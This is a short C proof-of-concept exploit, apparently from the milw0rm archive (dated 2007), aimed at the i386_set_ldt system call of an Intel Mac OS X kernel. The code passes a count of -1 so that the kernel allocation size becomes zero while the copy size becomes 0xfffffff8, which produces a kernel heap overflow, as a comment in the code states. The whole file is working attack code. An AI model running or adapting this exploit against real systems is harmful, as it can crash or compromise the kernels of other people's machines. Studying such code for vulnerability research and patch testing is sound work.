477bcbdcc0
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45 lines
988 B
C
Executable file
45 lines
988 B
C
Executable file
#include <stdio.h>
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#include <stdlib.h>
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#include <architecture/i386/table.h>
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#include <i386/user_ldt.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/mman.h>
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int
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main(void)
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{
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union ldt_entry descs;
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char *buf;
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u_long pgsz = sysconf(_SC_PAGESIZE);
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if ((buf = (char *)malloc(pgsz * 4)) == -1) {
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perror("malloc");
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exit(EXIT_FAILURE);
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}
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memset(buf, 0x41, pgsz * 4);
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buf = (char *)(((u_long)buf & ~pgsz) + pgsz);
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if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
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PROT_WRITE) == -1) {
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perror("mprotect");
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exit(EXIT_FAILURE);
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}
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/*
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* This will result in kalloc() size argument being 0x00000000 and
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copyin()
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* size argument being 0xfffffff8.
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*/
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if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
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perror("i386_set_ldt");
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exit(EXIT_FAILURE);
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}
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exit(EXIT_SUCCESS);
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}
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// milw0rm.com [2007-11-16]
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